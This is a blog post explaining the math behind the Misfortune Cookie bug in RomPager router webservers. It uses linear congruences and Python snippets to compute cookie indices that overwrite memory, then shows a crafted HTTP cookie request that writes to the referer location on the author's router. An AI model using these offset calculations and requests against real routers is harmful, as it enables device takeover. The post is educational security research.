17 Jan 2015, 15:53

Cookie Math


There was a very interesting presentation at the last 31C3 conference given by two very talented security researchers: Shahar Tal and Lior Oppenheim. The vulnerability they found targets many different routers from various manufacturers and was, apparently, patched 10 years ago (!) by the software company who made RomPager, the software in question. Let’s just say vendors are slow in deploying patches, leaving tens of millions of routers vulnerable to potential remote bricking, turning into botnets or who knows what else. It was named Misfortune Cookie for a good reason, but what does that have to do with math?

Apparently, there is a preallocated array in the webserver capable of storing 10 cookies, 40 bytes each. The cookie number is used as array index - converted to integer, multiplied by 40 and added to a memory address to read or write the correct location without ever checking boundaries.

You can pass an arbitrary number and address any memory location relative to a certain fixed point in memory. The only catch is that it gets multiplied by 40. What can you do if you need better precision to avoid overwriting something else near the memory location you are targeting?

This can be written in a form of ax ≡ y (mod m) and it’s called a Linear Congruence. Obviously, a is 40 since we move in steps of 40. We need to find such x that multiplied by 40 gives us a desired y modulo m we need to move in memory relative to the present location. M is (the size of a 32 bit number could fit 0-4294967295, anything more than that and it will overflow and start from zero again, just like a clock face starts from 1 when it reaches 12), making the equation 40 xy (mod ).

For this to have a solution, x needs to be divisible with the greatest common divisor of both 40 and , which is 8 - that’s how many unique solutions we’ll get. Now we can say and reduce the expression to 5x ≡ z (mod 536870912). The way to solve it is to find the multiplicative inverse modulo m - a number we can multiply both sides with so that it gives 1 when multiplied by 5 in this modular algebra.

To get the other solutions, we need to keep adding the modulus value (536870912) to the result and reduce when needed. The referer is located at 0x2e48 to the LEFT of the cookie array. Since we cannot go backwards, we would like to add 0xffffd1b8 to overflow 32 bit number and end up at the desired address.

>>> def calc(a): return ((a/8)*214748365) % (1<<32)
>>> sorted([(calc(int('0xffffd1b8',16))+i*536870912)%(1<<32) for i in range(8)])
[322122251, 858993163, 1395864075, 1932734987, 2469605899, 3006476811, 3543347723, 4080218635]

# -- Let's do a check. 

>>> hex((322122251*40) % (1<<32))

Now let’s try it on my router!

send: 'GET / HTTP/1.1\r\nHost:\r\nCookie: C322122251=/referer-test.html;\r\n\r\n'
reply: 'HTTP/1.1 404 Not Found\r\n'
header: Content-Type: text/html
header: Transfer-Encoding: chunked
header: Server: RomPager/4.07 UPnP/1.0
header: EXT:
<title>Object Not Found</title></head><body>
<h1>Object Not Found</h1>The requested URL '/' was not found on the RomPager server.
<p>Return to <A HREF="/referer-test.html">last page</A><p>
</body></html>        ^^^^^^^^^^^^^^^^^^

Is there another way?

It’s not necessary to find a general solution, sometimes thinking differently can work too.

How many additional bits can multiplying by 40 add to a number’s binary representation? It’s between 32 (that’s ) and 64 (that’s ), so we have to assume 6 bits. The question becomes, which number multiplied by 40 and with 6 most significant bits discarded is equal to our input variable y? The router CPU might be stuck with 32 bits, but Python isn’t. Why not simply reconstruct these discarded bits by testing each case? Guess what the discarded value might have been and divide by 40 to check if the assumption was correct. For just 6 bits added, it isn’t terribly inefficient to check all possibilities and it goes to prove there are many ways to address a problem. Pun intended! :)

  Start with 4294955448 in binary form.

  Multiplying by 40 gives 171798217920. In binary, that's
  100111  11111111111110001100010011000000

The 100111 is simply too much to store in a 32 bit memory unit so it gets discarded, and the rest we called y. We now need to do this in reverse, starting from y, guessing the discarded part and checking if division by 40 gives the starting value. If it does - that’s it.

t = int('0xffffd1b8', 16)

>>> [i for i in map(lambda a: ((a<<32)+t)/40, range(64)) if (i*40)%(1<<32)==t and i<(1<<32)]
[322122251, 858993163, 1395864075, 1932734987, 2469605899, 3006476811, 3543347723, 4080218635]

So the next time you complain learning math is silly when studying for a CS degree, just remember you might actually need it!